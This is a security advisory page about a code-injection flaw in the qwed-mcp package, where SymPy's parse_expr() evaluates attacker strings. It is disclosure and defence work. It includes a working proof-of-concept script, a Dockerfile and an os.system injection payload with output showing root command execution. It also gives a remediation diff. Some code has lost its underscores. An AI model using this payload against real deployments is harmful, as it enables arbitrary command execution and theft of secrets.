GHSA-mw6r-2hvm-4rp2: Code Injection

Published Aug 25, 2026
·
Updated

Summary

verifymathexpression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parseexpr() without restricting globaldict or validating the expression's AST. Because parseexpr() internally calls eval() and Python automatically injects the current module's builtins when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including import('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwedmcp/engines/mathengine.py. The public function verifymathexpression(expression, claimedresult, operation) accepts both the expression and claimedresult arguments as raw strings and passes them — after a trivial ^ → substitution — to sympy.parsing.sympyparser.parseexpr():

python mathengine.py:50-54 expr = parseexpr( expression.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations )

python mathengine.py:64-68 claimed = parseexpr( claimedresult.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations )

localdict only adds math symbols to the evaluation namespace; it does not remove builtins. SymPy's parseexpr() eventually calls Python's built-in eval(), which — absent an explicit {"builtins": {}} in globaldict — receives the full built-in namespace. This makes import, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parseexpr() calls (lines 50 and 64).

Data flow:

1. Source — mathengine.py:13-16: external caller supplies expression and claimedresult. 2. Propagation — mathengine.py:50-54: expression substituted and forwarded to parseexpr(). 3. Propagation — mathengine.py:64-68: claimedresult substituted and forwarded to parseexpr(). 4. Sink — sympy.parsing.sympyparser.parseexpr(): calls eval() with unrestricted builtins.

PoC

Environment setup

bash Clone the repository at the affected commit git clone https://github.com/QWED-AI/qwed-mcp cd qwed-mcp git checkout 54ac682699407310b5a71fbaed8c33f581b84301

Option A — direct Python python3 -m venv /tmp/qwed-mcp-venv source /tmp/qwed-mcp-venv/bin/activate pip install sympy>=1.12

Option B — Docker (used for Phase 2 verification) docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi1775QWED-AIqwed-mcp docker run --rm vuln001-rce

Exploit input

python import importlib.util, sys, os

spec = importlib.util.specfromfilelocation( "qwedmcp.engines.mathengine", "src/qwedmcp/engines/mathengine.py" ) mod = importlib.util.modulefromspec(spec) sys.modules["qwedmcp.engines.mathengine"] = mod spec.loader.execmodule(mod) verifymathexpression = mod.verifymathexpression

payload = "import('os').system('id > /tmp/vuln001rceoutput.txt && hostname >> /tmp/vuln001rceoutput.txt && touch /tmp/vuln001rcemarker')" verifymathexpression(payload, "0")

print("markerexists:", os.path.exists("/tmp/vuln001rcemarker")) with open("/tmp/vuln001rceoutput.txt") as f: print(f.read())

Expected output (Phase 2 Docker observation)

[+] EXPLOIT SUCCESSFUL [+] Marker file present : /tmp/vuln001rcemarker [+] RCE command output : --- BEGIN OUTPUT --- uid=0(root) gid=0(root) groups=0(root) 2d2fe45d37b6 --- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001rcemarker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict globaldict before every parseexpr() call:

diff --- a/src/qwedmcp/engines/mathengine.py +++ b/src/qwedmcp/engines/mathengine.py import logging +import ast from typing import Optional

+ALLOWEDNAMES = {"x", "y", "z", "pi", "e"} +ALLOWEDFUNCS = {"sqrt", "sin", "cos", "exp", "log"} +ALLOWEDAST = ( + ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load, + ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod, + ast.USub, ast.UAdd, +) + +def validatemathsyntax(expr: str) -> None: + tree = ast.parse(expr.replace("^", ""), mode="eval") + for node in ast.walk(tree): + if not isinstance(node, ALLOWEDAST): + raise ValueError(f"Unsupported syntax: {type(node).name}") + if isinstance(node, ast.Name) and node.id not in ALLOWEDNAMES | ALLOWEDFUNCS: + raise ValueError(f"Unsupported symbol: {node.id}") + if isinstance(node, ast.Call): + if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWEDFUNCS: + raise ValueError("Only approved math functions are allowed") + if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)): + raise ValueError("Only numeric constants are allowed") + +safeglobals = {"builtins": {}} + - expr = parseexpr( + validatemathsyntax(expression) + expr = parseexpr( expression.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + globaldict=safeglobals, transformations=transformations ) - claimed = parseexpr( + validatemathsyntax(claimedresult) + claimed = parseexpr( claimedresult.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + globaldict=safeglobals, transformations=transformations )

Impact

Any caller that passes attacker-controlled input to verifymathexpression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2). - Read, write, or delete files accessible to the process. - Exfiltrate secrets (API keys, environment variables, credentials) from the process environment. - Pivot to internal services reachable from the host.

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verifymathexpression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

dockerfile FROM python:3.12-slim

LABEL vuln="VULN-001" \ title="Unsafe SymPy parseexpr() RCE" \ cwe="CWE-94" \ target="QWED-AI/qwed-mcp@0.2.0"

WORKDIR /app

Copy only the package source tree from the cloned repo. mathengine.py only imports sympy at runtime; full project deps (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC. COPY repo/src /app/src

Install the single runtime dependency used by the vulnerable module. RUN pip install --no-cache-dir "sympy>=1.12"

Copy the proof-of-concept script. COPY vuln-001/poc.py /app/poc.py

Make qwedmcp importable via the local source tree. ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

python """ VULN-001 Proof of Concept ========================= Target : QWED-AI/qwed-mcp v0.2.0 Module : src/qwedmcp/engines/mathengine.py Function: verifymathexpression(expression, claimedresult, operation)

Root cause ---------- verifymathexpression() passes attacker-controlled strings directly to sympy.parsing.sympyparser.parseexpr() without restricting globaldict. parseexpr() ultimately calls eval() with SymPy's namespace as globals. Because that namespace does not set builtins to {}, Python injects the current module's builtins automatically, making import available.

Attack ------ Inject a Python expression as the 'expression' or 'claimedresult' argument: import('os').system('<shell command>')

The system() call executes before parseexpr() tries to interpret the return value as a SymPy expression.

Expected evidence of exploitation ---------------------------------- 1. /tmp/vuln001rcemarker is created inside the container. 2. /tmp/vuln001rceoutput.txt contains the output of id and hostname. 3. The script exits 0; any other exit code means exploitation failed. """

import os import sys

MARKERFILE = "/tmp/vuln001rcemarker" OUTPUTFILE = "/tmp/vuln001rceoutput.txt"

def runpoc() -> bool: """Run the PoC; return True on confirmed exploitation, False otherwise.""" print("=" 60) print("VULN-001 — Unsafe SymPy parseexpr() RCE — PoC") print("=" 60)

# --- Step 1: import the vulnerable function --- # qwedmcp/init.py pulls in the full MCP server stack (mcp, httpx, etc.). # We load mathengine.py directly via importlib to exercise the vulnerable # module in isolation, exactly as an attacker who calls the library API would. print("[] Importing vulnerable function via importlib (direct module load) ...") import importlib.util import sys as sys

modulepath = "/app/src/qwedmcp/engines/mathengine.py" try: spec = importlib.util.specfromfilelocation( "qwedmcp.engines.mathengine", modulepath ) mod = importlib.util.modulefromspec(spec) sys.modules["qwedmcp.engines.mathengine"] = mod spec.loader.execmodule(mod) verifymathexpression = mod.verifymathexpression except Exception as exc: print(f"[-] Import failed: {exc}") return False print(f"[+] verifymathexpression loaded from {modulepath}")

# --- Step 2: craft the RCE payload --- # The payload is injected as the expression argument. # Shell commands: # id — prints current user/uid/gid (confirms arbitrary execution) # hostname — prints container hostname (confirms in-container execution) # touch — creates a marker file (machine-checkable evidence) shellcmd = ( f"id > {OUTPUTFILE} && " f"hostname >> {OUTPUTFILE} && " f"touch {MARKERFILE}" ) payload = f"import('os').system('{shellcmd}')" print(f"\n[] Injection payload (expression argument):\n {payload}\n")

# --- Step 3: call the vulnerable function --- print("[] Calling verifymathexpression(payload, '0') ...") result = verifymathexpression(payload, "0") print(f"[] Return value: {result}\n")

# --- Step 4: verify exploitation evidence --- markerexists = os.path.exists(MARKERFILE) outputexists = os.path.exists(OUTPUTFILE)

if markerexists and outputexists: with open(OUTPUTFILE) as fh: rceoutput = fh.read().strip() print("[+] EXPLOIT SUCCESSFUL ") print(f"[+] Marker file present : {MARKERFILE}") print(f"[+] RCE command output :\n--- BEGIN OUTPUT ---\n{rceoutput}\n--- END OUTPUT ---") return True

# Partial evidence (marker only, no output, or vice-versa) still counts. if markerexists: print("[+] EXPLOIT SUCCESSFUL (marker only) ") print(f"[+] Marker file present : {MARKERFILE}") return True

print("[-] EXPLOIT FAILED — marker file not found") print(f"[-] Expected: {MARKERFILE}") return False

def main() -> None: success = runpoc() if success: print("\n[RESULT] PASS — deterministic RCE evidence observed inside container") sys.exit(0) else: print("\n[RESULT] FAIL — could not confirm arbitrary code execution") sys.exit(1)

if name == "main": main()

Affected Software

1 affected componentFixes available
pip/qwed-mcp<0.2.1
0.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/qwed-mcp to a version that resolves this vulnerability.

    Fixed in 0.2.1
  2. Configuration

    Apply AST allowlisting and restrict `global_dict` before every `parse_expr()` call in `verify_math_expression()`. Set `safe_globals = {"__builtins__": {}}` and pass it as `global_dict` to both `parse_expr()` invocations so Python cannot access `__import__`, `open`, `exec`, or other built-ins.

    qwed-mcp src/qwed_mcp/engines/math_engine.py (verify_math_expression) sympy.parsing.sympy_parser.parse_expr global_dict = {"__builtins__": {}}
  3. Configuration

    Before calling `parse_expr()`, run `_validate_math_syntax()` on both `expression` and `claimed_result` and reject anything not in the allowlist. Specifically reject nodes where `node.func` is not an allowed function name (in `ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}`), reject `ast.Name` identifiers not in `ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}`, and raise on unsupported syntax/types not in `ALLOWED_AST` (e.g., only allow `ast.Constant` with numeric values, `ast.Call`, `ast.Name`, `ast.BinOp`, `ast.UnaryOp`, etc.).

    qwed-mcp src/qwed_mcp/engines/math_engine.py expression/claimed_result validation = Only allowed AST nodes and allowed symbols/functions

Event History

Aug 25, 2026
Advisory Published
via GitHub·03:26 PM
Data Sourced
via GitHub·03:26 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any remote party able to submit values to the public verify_math_expression function can exploit it. No authentication, special configuration, or user interaction is required.

2

What level of access can exploitation provide?

An attacker can execute arbitrary operating-system commands in the context of the running qwed-mcp process. Confirmed exploitation in a Docker container resulted in root-level command execution.

3

Which inputs are dangerous?

Both the expression and claimed_result arguments are accepted as raw strings and passed to SymPy parsing without restricting the evaluation environment or validating the expression AST. Replacing ^ with ** does not prevent embedded Python expressions from being evaluated.

4

How can I determine whether my deployment is affected?

Deployments using qwed-mcp version 0.2.0 are affected when untrusted parties can reach verify_math_expression. The vulnerable implementation is in src/qwed_mcp/engines/math_engine.py and calls parse_expr() on supplied strings with only a local_dict specified.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203